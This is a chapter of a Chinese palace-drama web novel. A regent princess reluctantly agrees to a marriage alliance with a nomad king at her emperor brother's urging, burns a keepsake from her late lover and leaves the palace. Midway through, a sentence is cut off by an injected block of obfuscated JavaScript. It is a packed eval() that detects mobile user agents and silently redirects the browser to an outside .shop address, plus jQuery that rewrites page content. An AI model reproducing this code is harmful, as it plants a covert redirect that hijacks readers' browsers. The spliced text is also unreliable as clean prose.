大燕建元二十九年，二月初九。
立春已经过了，天却还是冷得厉害。风从北边刮过来，带着刀子似的寒意，刮得人脸上生疼。
昀宁站在摘星阁的院子里，看着那棵老槐树。
槐树光秃秃的，枝丫伸向灰蒙蒙的天空，像一双双干枯的手。去年落的叶子还堆在树下，被风吹得簌簌作响。
“殿下，”阿蘅从屋里出来，手里捧着一件大氅，“外面冷，您披上。”
昀宁接过氅，披在身上。
阿蘅站在她旁边，也看着那棵槐树。
“殿下，您站了半个时辰了。”
昀宁没有说话。
她只是看着那棵树，看着那些光秃秃的枝丫。
她想起很多年前，这棵树开花的时候，满院子都是香的。昀昭那时候还小，够不着花，就让她抱着他摘。
一串一串的槐花，白白的，香香的，摘下来泡茶喝，甜甜的。
现在树还在，花还会开。
但抱着他摘花的人，已经抱不动他了。
他长大了。
她也老了。
“殿下，”一个小太监跑进来，跪在地上，“陛下来了。”
昀宁转过身。
院门口，一个人走进来。
昀昭。
他穿着一身玄色的常服，没有带随从，一个人来的。走到昀宁面前，他站定，叫了一声。
“皇姐。”
昀宁看着他。
“怎么这时候来了？”
昀昭说：“想和皇姐下盘棋。”
昀宁愣了一下。
下棋？
他已经很久没和她下棋了。
“进来吧。”她转身往里走。
昀昭跟在后面。
摘星阁的正殿里，阿蘅已经摆好了棋盘。黑白两色的棋子，整整齐齐地放在两边。
昀宁在一边坐下，昀昭在对面坐下。
阿蘅端来两盏茶，悄悄退到一旁。
昀宁拿起一枚白子，看着昀昭。
“你先下。”
昀昭摇摇头。
“皇姐先下。”
昀宁没有推辞，把白子落在棋盘上。
昀昭跟着落子。
一开始，两个人都没说话。只是下棋，一颗一颗，慢慢地落。
窗外，风还在刮。
屋里，只有棋子落在棋盘上的声音。
下了半个时辰，昀宁忽然开口。
“你今天来，不是只想下棋吧？”
昀昭的手顿了顿。
他看着棋盘，沉默了一瞬，然后说。
“阿姐，有件事……我想和你说。”
昀宁没有抬头，继续看着棋盘。
“说。”
昀昭又沉默了一会儿。
然后他开口。
“西北那边，派人来了。”
昀宁的手微微一顿。
昀昭继续说：“胡人的王，想要求和。”
昀宁抬起头，看着他。
昀昭也看着她。
“条件是什么？”
昀昭沉默了一瞬。
“和亲。”
昀宁的心像是被什么东西猛地撞了一下。
但她脸上什么也没表现出来。
她只是看着昀昭，看着他那张已经成熟的脸。
“和谁？”
昀昭没有回答。
他只是看着她。
昀宁懂了。
她忽然笑了。
“我？”
昀昭点点头。
昀宁放下手里的棋子。
“昀昭，”她说，“你知道你在说什么吗？”
昀昭说：“我知道。”
“你知道我是谁吗？”
“我知道。”
“我是你姐。亲姐。”
“我知道。”
昀宁看着他，目光里有什么东西在翻涌。
“那你让我去和亲？”
昀昭沉默了一瞬，然后开口。
“皇姐，我没有别的办法。”
昀宁没有说话。
昀昭继续说：“胡人这次来势汹汹。他们集结了十万人马，就在边境上。我们的兵，只有五万。打起来，赢不了。”
他顿了顿，声音低了下去。
“赢了，也要死很多人。输了的，更惨。”
昀宁看着他。
“所以你让我去和亲？让我去嫁给那个胡人的王？让我去那个鬼地方，和那些野蛮人过日子？”
昀昭说：“皇姐，我知道这对你不公平。”
昀宁笑了。
那笑容冷得像冰。
“不公平？昀昭，你知道什么叫不公平吗？”
她站起身，走到窗前，背对着他。
“我十八岁那年，父皇死了。我站在你身后，替你挡着那些人。我二十岁那年，沈淮死了。他死在我怀里，就因为我让他去做细作。我二十二岁那年，你长大了，开始有自己的主意。我二十八岁那年，你娶了周家的女儿，开始用自己的人。现在，我二十九岁了，你让我去和亲。”
她转过身，看着他。
“昀昭，你告诉我，什么叫公平？”
昀昭坐在那里，一动不动。
他的脸上没什么表情，但他的手，紧紧攥着衣袖。
“皇姐，”他开口，“我知道你恨我。”
昀宁没有说话。
昀昭继续说：“你为我做的那些事，我都记得。沈淮的事，我记得。你替我挡的那些人，我也记得。你教我下棋，教我批奏折，教我怎么做皇帝，我都记得。”
他抬起头，看着她。
“但皇姐，我是皇帝。”
昀宁看着他。
昀昭说：“皇帝不能只想一个人。皇帝要想天下人。”
他站起身，走到她面前。
“胡人这次来，是真的要打。打起来，死的不只是你，不只是我，是成千上万的老百姓。那些种地的，做工的，做生意的，那些上有老下有小的，他们都会死。”
他顿了顿，声音有些发颤。
“皇姐，你说我该怎么办？”
昀宁看着他，看着他那双曾经亮亮的眼睛。
那双眼睛还是亮的。
但亮光里，有痛苦，有挣扎，还有她看不懂的东西。
“所以你就让我去？”她问。
“我不想让你去。”
“但你还是让我去。”
昀昭沉默了一瞬。
然后他说。
“皇姐，我没有别的办法。”
昀宁看着他。
看了很久。
然后她忽然笑了。
那笑容比刚才更淡，淡得像是什么都没有。
“本宫不想去。”
……
“陛下，”她说，“你知道沈淮死的时候，本宫是什么感觉吗？”
昀昭没有说话。
“本宫觉得心被人挖走了。空空的，什么都没有了。”
她顿了顿，继续说：“这些年，本宫一直在想，要是他没死，我们会怎么样。会不会一起去江南，看一辈子的烟雨。会不会生几个孩子，热热闹闹的。会不会……”
她说不下去了。
昀昭看着她，眼眶红了。
“阿姐……”
“陛下不必再劝，本宫心意已决。”
“可是阿姐，你就不能替我着着想吗？你就不能替大燕着着想吗？”
“替陛下着想？替大燕着想？可谁来替本宫着想呢？本宫以为，我从小教着陛下，护着陛下，陛下长大后也会护着本宫！”
“可是，和亲是目前损失最小的方法了。”
“损失？所以，本宫的感情，本宫的未来，包括本宫这个人，都只是……微不足道的损失？”
“阿姐，您可是大燕的监国长公主啊，您怎可以如此任性！”
“任性？陛下觉得本宫任性？所以，陛下觉得，本宫就应该为了大燕奉献一切对吗？本宫就应该为了大燕而远嫁成为可敦？”
“阿姐，您是大燕的长公主！您难道不爱大燕了吗？”
“爱？本宫当然爱大燕，可本宫更爱自己！这一次……本宫想为自己而活。”
“阿姐，就当我求您了，您就再为大燕牺牲最后一次，好吗？”
“……”
“阿姐…”
“行了。”
她走回棋盘边，坐下。
“这盘棋，还下吗？”
昀昭看着她，犹豫了一下，走回去坐下。
两个人继续下棋。
但谁都没说话。
棋子落在棋盘上，一声一声，像是在敲着什么。
又下了半个时辰，昀昭忽然开口。
“皇姐，你恨我吗？”
昀宁没有抬头。
“恨陛下干什么？”
昀昭说：“我让你去和亲。”
昀宁说：“陛下是皇帝，陛下也有陛下的难处。”
昀昭说：“那你原谅我了？”
昀宁终于抬起头，看着他。
“陛下，”她说，“本宫没有怪你，所以谈不上原谅。”
昀昭愣了一下。
昀宁继续说：“陛下是本宫的弟弟。从小到大，本宫做什么都是为了陛下。陛下坐不稳，本宫替陛下扶着。陛下长大了，本宫替陛下高兴。”
她顿了顿，声音轻了下去。
“现在陛下需要本宫去和亲，那…本宫……就去。”
昀昭看着她，眼泪终于掉下来。
“皇姐……”
昀宁伸出手，替他擦了擦眼泪。
“行了，别哭了。陛下是皇帝，让人看见像什么样子。”
昀昭点点头，拼命忍住眼泪。
昀宁看着他，心里忽然涌起一种奇怪的感觉。
她想起他小时候，趴在她肩头哭，说“皇姐，我怕”。
那时候她抱着他，轻轻拍着他的背，说“不怕，姐姐在”。
现在他抱着她哭，说“皇姐，我对不起你”。
她不知道该怎么回答。
她只是伸出手，像小时候那样，轻轻拍着他的背。
“没事。”她说。
那天晚上，昀昭没有走。
他就在摘星阁待着，和昀宁一起用了晚膳，又下了几盘棋。
下到最后一盘，天已经黑透了。
昀昭放下棋子。
“皇姐，我走了。”
昀宁点点头。
昀昭走到门口，忽然停下脚步，回过头。
“皇姐。”
昀宁看着他。
昀昭说：“无论你恨不恨我，你都是我姐。”
他顿了顿，又说：“永远都是。”
说完，他推门走了出去。
昀宁站在原地，看着那扇关上的门。
阿蘅从一旁走过来，眼眶红红的。
“殿下……”
昀宁没有说话。
那天夜里，昀宁没有睡。
她坐在窗前，坐了一夜。
天快亮的时候，她做了一个决定。
第二天，昀宁让人把摘星阁里的东西收拾了一下。
也没什么好收拾的。她本来就不是喜欢攒东西的人，除了几件衣裳，几本书，就没什么了。
阿蘅在一旁忙前忙后，一边收拾一边掉眼泪。
昀宁看着她，有些无奈。
“你哭什么？”
阿蘅擦着眼泪，说：“奴婢舍不得殿下。”
昀宁说：“本宫还没走呢。”
阿蘅说：“快走了。”
昀宁没有说话。
她走到床边，从枕下取出那只兔子面具。
十年了。
面具上的红漆已经有些剥落，但那两只红红的眼睛，还是那么红。
她看着那两只眼睛，看了很久。
然后她拿着面具，走出屋子。
阿蘅在后面喊：“殿下，您去哪儿？”
昀宁没有回答。
她走到院子里，在那棵老槐树下站定。
然后她蹲下身子，把面具放在地上。
阿蘅追过来，看见那个面具，愣住了。
“殿下，您……”
昀宁没有理她。
她从袖中取出火折子，吹着，把面具点燃了。
火苗窜起来，舔舐着那只白兔。
那两只红红的眼睛，在火光里显得更红了。
像是在看着她。
昀宁蹲在那里，看着火。
看着那只面具慢慢变黑，变形，最后化成一堆灰烬。
阿蘅在一旁哭得稀里哗啦。
“殿下……那是……那是沈小公爷送给您的……”
昀宁点点头。
“我知道。”
阿蘅说：“那您怎么……”
“留着也没用了。”
“殿下，您想烧掉什么？”
“我的过去，还有我的未来……”
昀宁蹲在那里，看着那堆灰烬。
火慢慢小了，慢慢灭了。
一阵风吹过来，把灰烬吹散了些。
昀宁低下头。
那堆灰烬里，依稀可以看得出一个形状——
兔子的形状。
两只耳朵，圆圆的脑袋，还有那两个红红的眼睛的位置，是两个小小的坑。
昀宁看着那个形状，一动不动。
风继续吹。
那个形状慢慢散了，慢慢没了。
最后只剩下一堆灰，什么都不是了。
昀宁站起身。
“回去吧。”她说。
她转身往屋里走。
阿蘅跟在后面，一边走一边回头看着那堆灰烬。
那天下午，昀宁去了御书房。
昀昭正在批奏折，见她进来，抬起头。
“皇姐？”
昀宁走过去，在他对面坐下。
“陛下，本宫答应你。”
昀昭愣住了。
“皇姐……”
昀宁说：“本宫去和亲。”
昀昭看着她，眼眶又红了。
“皇姐，你……”
昀宁摆摆手，打断他。
“但本宫有一个条件。”
昀昭说：“阿姐你说。”
昀宁说：“让本宫在走之前，出宫住几天。就住在本宫以前那个公主府里。”
昀昭愣了一下，随即点点头。
“好。”
昀宁站起身。
“臣告退。”
她转身往外走。
走到门口，昀昭的声音从身后传来。
“皇姐。”
昀宁停下脚步，没有回头。
“陛下还有事吗？”
“谢谢你。”
昀宁沉默了一瞬。
然后她推门走了出去。
二月初十，昀宁搬出了宫。
公主府在城东，不大，但很清静。她已经很久没来住了，院子里长了些杂草，屋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316926|198962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子里的家具都落了灰。
阿蘅忙前忙后地收拾，一边收拾一边念叨。
“这灰也太多了……这桌子都朽了……这被子没法盖了，得换新的……”
昀宁坐在院子里，看着那棵石榴树。
树也老了，枝丫乱糟糟的，还没发芽。
她忽然想起很多年前，她刚被封为长公主的时候，父皇赐给她这座府邸。那时候她还想，以后有了驸马，就住在这里，过自己的小日子。
后来驸马没了。
小日子也没了。
现在她坐在这儿，等着去和亲。
阿蘅收拾完了，端着一盏茶出来。
“殿下，您喝口茶。”
昀宁接过来，喝了一口。
阿蘅在旁边坐下，看着她。
“殿下，您真的要去吗？”
昀宁点点头。
阿蘅的眼眶又红了。
“殿下，奴婢跟您去。”
昀宁看着她。
“你跟去干什么？”
阿蘅说：“伺候您啊。您一个人去那么远的地方，没人伺候怎么行？”
昀宁摇摇头。
“你别去。”
阿蘅急了。
“为什么？”
昀宁说：“你走了，昀昭怎么办？”
阿蘅愣住了。
昀宁说：“我走了，他就一个人了。你留下来，帮我看着他。”
阿蘅的眼泪掉下来。
“殿下……”
昀宁伸出手，替她擦了擦眼泪。
“别哭了。又不是见不着了。”
阿蘅点点头，拼命忍住眼泪。
那天晚上，昀宁在公主府里住下了。
没有宫里那些规矩，没有那些来来往往的人，只有她和阿蘅两个人。
很安静。
安静得能听见风吹过院子的声音。
她躺在榻上，看着窗外的月光。
月光很亮，照得满屋子都是白的。
她闭上眼睛。
“沈淮，”她在心里说，“我就要去找你了。”
她没有说出口。
但她知道，他听得见。
二月十二，昀昭来了。
他一个人来的，没带随从，穿着一身寻常的衣裳。
昀宁正在院子里坐着，看见他进来，没有动。
昀昭走过来，在她旁边坐下。
“皇姐。”
昀宁点点头。
两个人就这么坐着，谁都没说话。
坐了半晌，昀昭忽然开口。
“皇姐，你会恨我一辈子吗？”
昀宁看着他。
昀昭也看着她，眼睛里带着一种她从未见过的东西。
那是一个孩子，在问一个大人——你会原谅我吗？
昀宁忽然想起他小时候。
想起他第一次叫她“皇姐”，奶声奶气的。
想起他趴在床上，让她教他写字。
想起他拉着她的手，说“皇姐，我信你”。
“不恨。”
昀昭看着她，眼眶红了。
“皇姐……”
昀宁说：“陛下是皇帝。皇帝有皇帝的难处。本宫知道。”
昀昭的眼泪掉下来。
“可是我对不起你。”
昀宁摇摇头。
“没有对不起。”
她顿了顿，又说：“陛下是本宫的弟弟。永远都是。”
昀昭看着她，哭得像个孩子。
昀宁只是坐在那里，轻轻拍着他的背。
像小时候那样。
那天下午，昀昭走了。
走之前，他在门口站了很久，回过头看她。
“皇姐。”
昀宁看着他。
昀昭说：“你保重。”
昀宁点点头。
昀昭转身走了。
昀宁站在原地，看着他的背影消失在门外。
阿蘅从屋里出来，站在她旁边。
“殿下，陛下走了。”
昀宁点点头。
“嗯。”
那天晚上，昀宁又在院子里坐了很久。
月亮升起来了，很亮。
她做的每一件事，都是她想做的。
护着昀昭，是。
让沈淮去做细作，是。
烧掉那只面具，也是。
她站起身，走回屋里。
阿蘅已经铺好了床，在一旁候着。
“殿下，您早点歇着。”
昀宁点点头。
她躺在榻上，闭上眼睛。
窗外，月光很亮。
像那年上巳节的月光。
二月十五，昀宁收到了一份圣旨。
正式的和亲诏书。
上面写着，长公主昀宁，德容兼备，堪为两国之好。今赐婚胡王，择日启程。
昀宁看着那份诏书，看了很久。
然后她把它折起来，放在一边。
阿蘅在一旁，哭得稀里哗啦。
昀宁看着她，有些无奈。
“你哭什么？又不是你去。”
阿蘅说：“奴婢替殿下哭。”
昀宁笑了。
那笑容很淡，淡得几乎看不出来。
“行了，别哭了。去给我收拾东西吧。”
阿蘅点点头，擦着眼泪去收拾了。
昀宁站起身，走到院子里。
那棵石榴树还是光秃秃的。
她站在树下，看着那些乱糟糟的枝丫。
春天快来了。
树快发芽了。
可她看不到了。
她要走了。
去一个很远的地方，可能一辈子都回不来了。
她伸出手，摸了摸那棵树的树干。
粗糙的，冰凉的，带着岁月的痕迹。
“再见了。”她在心里说。
那天夜里，昀宁做了一个梦。
梦里她站在一条很长很长的路上，两边都是雪，白茫茫的一片。她往前走，一直往前走，走了很久很久。
然后她看见一个人。
他站在路尽头，背对着她。
她跑过去，跑到他身后，伸手去拉他。
他回过头。
是沈淮。
他看着她，笑着对她说——
“殿下，您来了。”
她醒了。
窗外，天已经亮了。
阳光照进来，落在她脸上，暖暖的。
她坐起来，看着窗外。
阿蘅推门进来。
“殿下，您醒了？东西都收拾好了。”
昀宁点点头。
“什么时辰了？”
阿蘅说：“辰时了。陛下那边派人来问，什么时候启程。”
昀宁沉默了一瞬。
“告诉他们，明天。”
阿蘅愣住了。
“明天？”
昀宁点点头。
“明天。”
阿蘅的眼眶又红了。
但她什么都没说，只是点点头，转身出去了。
昀宁坐在床上，看着窗外。
阳光很好。
天很蓝。
很多年前，她对阿蘅说：“等本宫有了驸马，我们就去江南，看一辈子烟雨。”
她没有驸马。
也没有去江南。
她要去的是西北，是胡人的地盘，是一个她从未去过的地方。
——第二十五章完——